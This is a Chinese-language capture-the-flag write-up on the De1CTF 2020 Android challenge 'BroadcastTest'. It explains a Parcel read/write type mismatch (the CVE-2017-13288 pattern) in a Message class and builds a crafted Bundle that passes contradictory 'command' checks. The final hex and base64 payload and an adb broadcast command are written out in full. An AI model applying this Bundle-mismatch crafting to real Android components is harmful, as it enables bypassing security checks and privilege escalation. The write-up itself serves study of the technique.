2020 De1taCTF BroadcastTest
Android Pwn中CVE-2017-13288的思路。
官方WP:https://github.com/De1ta-team/De1CTF2020
可以参看https://www.ms509.com/2018/07/03/bundle-mismatch,其中描述了Parcel中对于读出和写入时类型不一致会产生的漏洞。
Parcelable与Bundle机制
Android使用Parcelable
接口来实现序列化的方法。一个类只要实现了Parcelable
接口中的方法,其对象就能被序列化,并可以被intent或者binder传输。
其中,writeToParcel
和readFromParcel
方法,分别调用Parcel类中的一系列write方法和read方法实现序列化和反序列化。
可序列化的Parcelable对象一般不单独进行序列化传输,需要通过Bundle对象携带。 Bundle的内部实现实际是Hashmap
,以Key-Value键值对的形式存储数据。
例如, Android中进程间通信频繁使用的Intent对象中可携带一个Bundle对象,利用putExtra(key, value)方法,可以往Intent的Bundle对象中添加键值对(Key Value)。Key为String类型,而Value则可以为各种数据类型,包括int、Boolean、String和Parcelable对象等等。
注:
Parcelable
和Serializable
都用来实现序列化并且都可以用于Intent间传递数据,Serializable
是Java的实现方式, 可能会频繁的IO操作,所以消耗比较大,但是实现方式简单。Parcelable
是Android提供的方式,效率比较高,但是实现起来复杂一些 , 二者的选取规则是:内存序列化上选择Parcelable, 存储到设备或者网络传输上选择Serializable(当然Parcelable也可以但是稍显复杂)
bundle序列化过程浅析
Parcel类中维护着bundle中value的类型信息。各类型定义见
/frameworks/base/core/java/android/os/Parcel.java
// Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
private static final int VAL_NULL = -1;
private static final int VAL_STRING = 0;
private static final int VAL_INTEGER = 1;
private static final int VAL_MAP = 2;
private static final int VAL_BUNDLE = 3;
private static final int VAL_PARCELABLE = 4;
private static final int VAL_SHORT = 5;
private static final int VAL_LONG = 6;
private static final int VAL_FLOAT = 7;
private static final int VAL_DOUBLE = 8;
private static final int VAL_BOOLEAN = 9;
private static final int VAL_CHARSEQUENCE = 10;
private static final int VAL_LIST = 11;
private static final int VAL_SPARSEARRAY = 12;
private static final int VAL_BYTEARRAY = 13;
private static final int VAL_STRINGARRAY = 14;
private static final int VAL_IBINDER = 15;
private static final int VAL_PARCELABLEARRAY = 16;
private static final int VAL_OBJECTARRAY = 17;
private static final int VAL_INTARRAY = 18;
...
private static final int VAL_DOUBLEARRAY = 28;
在对bundle进行序列化的时候,会依次写入携带所有数据的长度、Bundle魔数(0x4C444E42
)和键值对。见BaseBundle.writeToParcelInner
方法
/**
* Writes the Bundle contents to a Parcel, typically in order for
* it to be passed through an IBinder connection.
* @param parcel The parcel to copy this bundle to.
*/
void writeToParcelInner(Parcel parcel, int flags) {
// If the parcel has a read-write helper, we can't just copy the blob, so unparcel it first.
if (parcel.hasReadWriteHelper()) {
unparcel();
}
// Keep implementation in sync with writeToParcel() in
// frameworks/native/libs/binder/PersistableBundle.cpp.
final ArrayMap<String, Object> map;
synchronized (this) {
...
}
// Special case for empty bundles.
if (map == null || map.size() <= 0) {
parcel.writeInt(0);
return;
}
int lengthPos = parcel.dataPosition();
parcel.writeInt(-1); // dummy, will hold length
parcel.writeInt(BUNDLE_MAGIC);
int startPos = parcel.dataPosition();
parcel.writeArrayMapInternal(map);
int endPos = parcel.dataPosition();
// Backpatch length
parcel.setDataPosition(lengthPos);
int length = endPos - startPos;
parcel.writeInt(length);
parcel.setDataPosition(endPos);
}
parcel.writeArrayMapInternal
方法写入键值对,先写入Hashmap的个数,然后依次写入键和值
/frameworks/base/core/java/android/os/Parcel.java#759
/*
* Flatten an ArrayMap into the parcel at the current dataPosition(),
* growing dataCapacity() if needed. The Map keys must be String objects.
*/
/* package */
void writeArrayMapInternal(ArrayMap<String, Object> val) {
...
final int N = val.size();
writeInt(N);
...
int startPos;
for (int i=0; i<N; i++) {
if (DEBUG_ARRAY_MAP) startPos = dataPosition();
writeString(val.keyAt(i));
writeValue(val.valueAt(i));
...
然后,调用writeValue
方法顺序写入value
类型值和value本身,如果是Parcelable
对象,则调用writeParcelable
方法,后者会调用Parcelable
对象的writeToParcel
方法。
public final void writeValue(Object v) {
if (v == null) {
writeInt(VAL_NULL);
} else if (v instanceof String) {
writeInt(VAL_STRING);
writeString((String) v);
} else if (v instanceof Integer) {
writeInt(VAL_INTEGER);
writeInt((Integer) v);
} else if (v instanceof Map) {
writeInt(VAL_MAP);
writeMap((Map) v);
} else if (v instanceof Bundle) {
// Must be before Parcelable
writeInt(VAL_BUNDLE);
writeBundle((Bundle) v);
} else if (v instanceof PersistableBundle) {
writeInt(VAL_PERSISTABLEBUNDLE);
writePersistableBundle((PersistableBundle) v);
} else if (v instanceof Parcelable) {
// IMPOTANT: cases for classes that implement Parcelable must
// come before the Parcelable case, so that their specific VAL_*
// types will be written.
writeInt(VAL_PARCELABLE);
writeParcelable((Parcelable) v, 0);
反序列化过程则完全是一个对称的逆过程,依次读入Bundle携带所有数据的长度、Bundle魔数(0x4C444E42
)、键和值,如果值为Parcelable
对象,则调用对象的readFromParcel
方法,重新构建这个对象。
题目复现
分析
app总共注册了三个BroadcastReceiver
,只有第一个是exported
的。相当于我们只能显示调用这个receiver。
MyReceiver1
- 从intent对象拿到
id
和data
两个键值,对传入的data进行base64解码。 - 建立一个
Parcel
对象dest,将data拆包置入dest中。 - 创建新的intent对象,再把dest封包放入bundle中,发送给
MyReceiver2
.
public class MyReceiver1 extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String str = "id";
int id = intent.getIntExtra(str, 0);
String data = intent.getStringExtra("data");
if (id != 0 && data != null) {
try {
byte[] buffer = Base64.decode(data, 0);
Parcel dest = Parcel.obtain();
dest.unmarshall(buffer, 0, buffer.length);
dest.setDataPosition(0);
Intent intent1 = new Intent();
intent1.setAction("com.de1ta.receiver2");
intent1.setClass(context, MyReceiver2.class);
Bundle bundle = new Bundle();
bundle.readFromParcel(dest);
intent1.putExtra(str, id);
intent1.putExtra("message", bundle);
context.sendBroadcast(intent1);
} catch (Exception e) {
Log.e("De1taDebug", "exception:", e);
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("Failed in Receiver1! id:");
stringBuilder.append(id);
Log.d("De1ta", stringBuilder.toString());
}
}
}
}
MyReceiver2
这里进行对command内容的验证,从接收到的bundle中的command键取对应的value,要求取到的value不能和getflag相同。
然后,将bundle再次封装并发送给MyReceiver2
public class MyReceiver2 extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String str = "message";
Bundle bundle = intent.getBundleExtra(str);
String str2 = "id";
int id = intent.getIntExtra(str2, 0);
String command = bundle.getString("command");
String str3 = "Failed in Receiver2! id:";
String str4 = "De1ta";
if (id == 0 || command == null || command.equals("getflag")) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(str3);
stringBuilder.append(id);
Log.d(str4, stringBuilder.toString());
return;
}
try {
Intent intent1 = new Intent();
intent1.setAction("com.de1ta.receiver3");
intent1.setClass(context, MyReceiver3.class);
intent1.putExtra(str2, id);
intent1.putExtra(str, bundle);
context.sendBroadcast(intent1);
} catch (Exception e) {
Log.e("De1taDebug", "exception:", e);
StringBuilder stringBuilder2 = new StringBuilder();
stringBuilder2.append(str3);
stringBuilder2.append(id);
Log.d(str4, stringBuilder2.toString());
}
}
}
MyReceiver3
这里进行第二次验证,从接收到的bundle中的command键取对应的value,要求取到的value必须和getflag
相同。
public class MyReceiver3 extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String command = intent.getBundleExtra("message").getString("command");
int id = intent.getIntExtra("id", 0);
String str = "De1ta";
if (id == 0 || command == null || !command.equals("getflag")) {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("Failed in Receiver3! id:");
stringBuilder.append(id);
Log.d(str, stringBuilder.toString());
return;
}
stringBuilder = new StringBuilder();
stringBuilder.append("Congratulations! id:");
stringBuilder.append(id);
Log.d(str, stringBuilder.toString());
}
}
分析
发送给MyReceiver1的bundle经过一次拆包封包的过程然后发给MyReceiver2去验证。MyReceiver2验证一次后又进行拆包封包给MyReceiver3。这个过程中,两次验证分别要求不为getflag
和等于getflag
。
看看还有什么代码没有分析。对了,就是MainActivity
里面的Message
类,它实现了Parcel
接口。我们看Message
中对拆包封包的逻辑处理。
public Message(Parcel in) {
this.bssid = in.readString();
this.burstNumber = in.readInt();
this.measurementFrameNumber = in.readInt();
this.successMeasurementFrameNumber = in.readInt();
this.frameNumberPerBurstPeer = in.readInt();
this.status = in.readInt();
this.measurementType = in.readInt();
this.retryAfterDuration = in.readInt();
this.f32ts = in.readLong();
this.rssi = in.readInt();
this.rssiSpread = in.readInt();
this.txRate = in.readInt();
this.rtt = in.readLong();
this.rttStandardDeviation = in.readLong();
this.rttSpread = in.readLong();
}
public void writeToParcel(Parcel dest, int i) {
dest.writeString(this.bssid);
dest.writeInt(this.burstNumber);
dest.writeInt(this.measurementFrameNumber);
dest.writeInt(this.successMeasurementFrameNumber);
dest.writeInt(this.frameNumberPerBurstPeer);
dest.writeInt(this.status);
dest.writeInt(this.measurementType);
dest.writeInt(this.retryAfterDuration);
dest.writeLong(this.f32ts);
dest.writeInt(this.rssi);
dest.writeInt(this.rssiSpread);
dest.writeByte((byte) this.txRate);
dest.writeLong(this.rtt);
dest.writeLong(this.rttStandardDeviation);
dest.writeInt((int) this.rttSpread);
}
其中writeToParcel
是封包时候写入bundle的处理函数。可以看到写入的时候有强制类型转换
dest.writeByte((byte) this.txRate);
dest.writeInt((int) this.rttSpread);
而在读入的时候为
this.txRate = in.readInt();
this.rttSpread = in.readLong();
其中rttSpread
写入的时候是按照int,但是读取的时候是long, 由于parcel顺序读写的结构,也就是说包中的long读取的时候会把下4个字节也读入以构成long,导致后面的键值对解析存在可控空间。
因为bundle里的数据是4字节对齐的,所以此处txRate
写入byte,读取int的操作并没有影响。
复现
为了方便调试,我们把反编译后的代码移植到新创建的工程中。此处我新建了一个Android项目。
为了方便,创建了一个message的无参构造函数
Message() {
this.bssid = "bssid";
this.burstNumber = 1;
this.frameNumberPerBurstPeer = 2;
this.measurementFrameNumber = 3;
this.measurementType = 4;
this.retryAfterDuration = 5;
this.rssi = 6;
this.rssiSpread = 7;
this.rtt = 8;
this.rttSpread = 9;
this.rttStandardDeviation = 10;
this.status = 11;
this.successMeasurementFrameNumber = 12;
this.f32ts = 13;
this.txRate = 0xff;
}
然后写一个函数来发送广播
public void sendData(Context context) {
Bundle bundle = new Bundle();
bundle.putParcelable("msg", new Message());
bundle.putString("command","getflag");
Parcel parcel = Parcel.obtain();
parcel.writeBundle(bundle);
parcel.setDataPosition(0);
byte[] bytes = parcel.marshall();
StringBuilder buffer = new StringBuilder();
for (byte b : bytes) {
buffer.append(String.format("%02x", b));
}
Log.d(TAG, buffer.toString());
Log.d(TAG, new String(Base64.encode(bytes, 0)));
Intent intent = new Intent("com.happy.parcelpwn.receiver1");
intent.putExtra("id", (int) 6666);
intent.putExtra("data", new String(Base64.encode(bytes, 0)));
context.sendBroadcast(intent);
}
logcat中查看打印的十六进制流
D/HAPPY_ANDROID: d0000000424e444c02000000030000006d00730067000000040000001b00000063006f006d002e00680061007000700079002e00700061007200630065006c00700077006e002e004d0065007300730061006700650000000500000062007300730069006400000001000000030000000c000000020000000b00000004000000050000000d000000000000000600000007000000ffffffff08000000000000000a00000000000000090000000700000063006f006d006d0061006e0064000000000000000700000067006500740066006c00610067000000
分析这段,第一个int是bundle数据长度(不包含长度位和魔数),即0xD0
。
接下来就是BNDL
的魔数。
然后是键值对的个数0x2
-
0x3
是key的长度(两字节为1个单位,string会自动用0补齐4字节) -
6D 00 73 00 67 00 00 00
为key的名称 -
04 00 00 00
为value的类型,此处4表示VAL_PARCELABLE
-
1B 00 00 00
为value的中parcel类名长度 - 接下来到
0xAB
的位置都是value的内容 -
0xAC
处开始了新的key-value,07 00 00 00
即为key的长度,接下来分析如上,只不过此处value-type为0
,即string
类型。
调的时候写了一段临时的010 editor的模板
struct BUNDLE {
int length <comment="total size of bundle">;
int MAGIC <format=hex>;
int key_value_number;
local int current_size=12;
typedef struct{
int k_length;
SetForeColor( cGreen );
ushort key_name[((k_length+3)/4)*4] ;
SetForeColor( cNone );
current_size+=4+ ((k_length+3)/4)*4*2;
}key;
typedef struct{
int value_type;
int v_length;
SetForeColor( cBlue );
if (value_type==4){
ushort classname[(v_length+1)/2*2] <comment="only for Message class">;
int classvalue[21];
current_size+=(v_length+1)/2*2*2+21*4+8;
}else{
ushort value_[(v_length+3)/4*4];
current_size+=v_length*2+8 ;
}
SetForeColor( cNone);
}value;
typedef struct{
key k;
value v;
} KV ;
while (current_size<length){
KV kv_;
//current_size = current_size + sizeof(kv_);
Printf( "Current size=%d\n", current_size);
}
} bundle;
看起来会稍微好些
然后我们考虑parcel末尾的
09 00 00 00
,由于读取的时候会按照09 00 00 00 07 00 00 00
的long 8字节,那么接下来就会以下一个int,即此处的63 00 6F 00
作为key的长度,再读取key,依次类推。而这里的63 00 6F 00
是我们构造的key,接下来的内容,除了00
和是字符串类型值,其他都可控。由于第一次读取的时候,会判断command的内容是否存在,而且不为getflag
。我们可以构造一个
command
的键,其值确实不为getflag
,但是它的value包含了一个command
为键,getflag
为值得序列对的字节码,这样我们在receiver3得第二次溢出时,可以让偏移转向这个序列对得开头,接着在此处解析就能得到getflag
的值了。Message和command之间我们可以插入int数组来构造偏移,int数组是4字节对齐的,其type值为12。
构造出的核心exp
bundle.putParcelable("66", new Message());
bundle.putIntArray("\3\00\3", new int[]{0x12, 0x18, 7, 6, 5, 4, 3, 2, 1,
15, 16, 17, 18, 19, 20, 21, 22, 23}); // length : 0x12 :int array type
bundle.putString("\7\0command", "\07\0command\0\0\0\7\0getflags");
构造的核心点
- int数组长度为0x12,为了保证溢出以后,其长度位能够充当类型值。
- int数组第一个元素为0x12,第二次溢出以后,该元素能够作为类型值。
- int数组第二个元素用于控制偏移,以保证第二次溢出时,通过该值作为数组长度,获取下一个key-value的之后能够进入后面构造的
\07\0command\0\0\0\7\0getflags
中。 - 调试的时候把十六进制序列打印出来,注意string后面会自动补齐0就行了。
构造出的序列
50010000424e444c03000000020000003600360000000000040000001b00000063006f006d002e00680061007000700079002e00700061007200630065006c00700077006e002e004d0065007300730061006700650000000500000062007300730069006400000001000000030000000c000000020000000b00000004000000050000000d000000000000000600000007000000ffffffff08000000000000000a000000000000000900000003000000030000000300000012000000120000001200000018000000070000000600000005000000040000000300000002000000010000000f0000001000000011000000120000001300000014000000150000001600000017000000090000000700000063006f006d006d0061006e006400000000000000160000000700000063006f006d006d0061006e0064000000000000000700000067006500740066006c0061006700730000000000
将其fromHex,然后base64
UAEAAEJOREwDAAAAAgAAADYANgAAAAAABAAAABsAAABjAG8AbQAuAGgAYQBwAHAAeQAuAHAAYQByAGMAZQBsAHAAdwBuAC4ATQBlAHMAcwBhAGcAZQAAAAUAAABiAHMAcwBpAGQAAAABAAAAAwAAAAwAAAACAAAACwAAAAQAAAAFAAAADQAAAAAAAAAGAAAABwAAAP////8IAAAAAAAAAAoAAAAAAAAACQAAAAMAAAADAAAAAwAAABIAAAASAAAAEgAAABgAAAAHAAAABgAAAAUAAAAEAAAAAwAAAAIAAAABAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAXAAAACQAAAAcAAABjAG8AbQBtAGEAbgBkAAAAAAAAABYAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAHAAAAZwBlAHQAZgBsAGEAZwBzAAAAAAA=
然后用下面的命令去发送广播
adb shell am broadcast -n com.happy.parcelpwn/.MyReceiver1 -a com.happy.parcelpwn.receiver1 -f 32 --es data UAEAAEJOREwDAAAAAgAAADYANgAAAAAABAAAABsAAABjAG8AbQAuAGgAYQBwAHAAeQAuAHAAYQByAGMAZQBsAHAAdwBuAC4ATQBlAHMAcwBhAGcAZQAAAAUAAABiAHMAcwBpAGQAAAABAAAAAwAAAAwAAAACAAAACwAAAAQAAAAFAAAADQAAAAAAAAAGAAAABwAAAP////8IAAAAAAAAAAoAAAAAAAAACQAAAAMAAAADAAAAAwAAABIAAAASAAAAEgAAABgAAAAHAAAABgAAAAUAAAAEAAAAAwAAAAIAAAABAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAXAAAACQAAAAcAAABjAG8AbQBtAGEAbgBkAAAAAAAAABYAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAHAAAAZwBlAHQAZgBsAGEAZwBzAAAAAAA= --ei id 2333
注意点
- 这里用
66
作为message对象的键,由于bundle用的是hashmap,前文提到过。而hashmap底层是链表/红黑树,在写出的时候是按照键的hash值从小到大来的。特定的键会导致message的parcel被放到了command
的后面去了,(因为有些键的hash值比command的hash大),这里要考虑这个问题,我有时候构造出的payload会发现key顺序不太对。(可以用String.hashcode()
来判断。) - 另外,如果要打远程,需要改下parcel里面的类名信息即可,因为此处确保了类的其他实现和题中一致。(即
com.de1ta.broadcasttest.MainActivity$Message
)
网友评论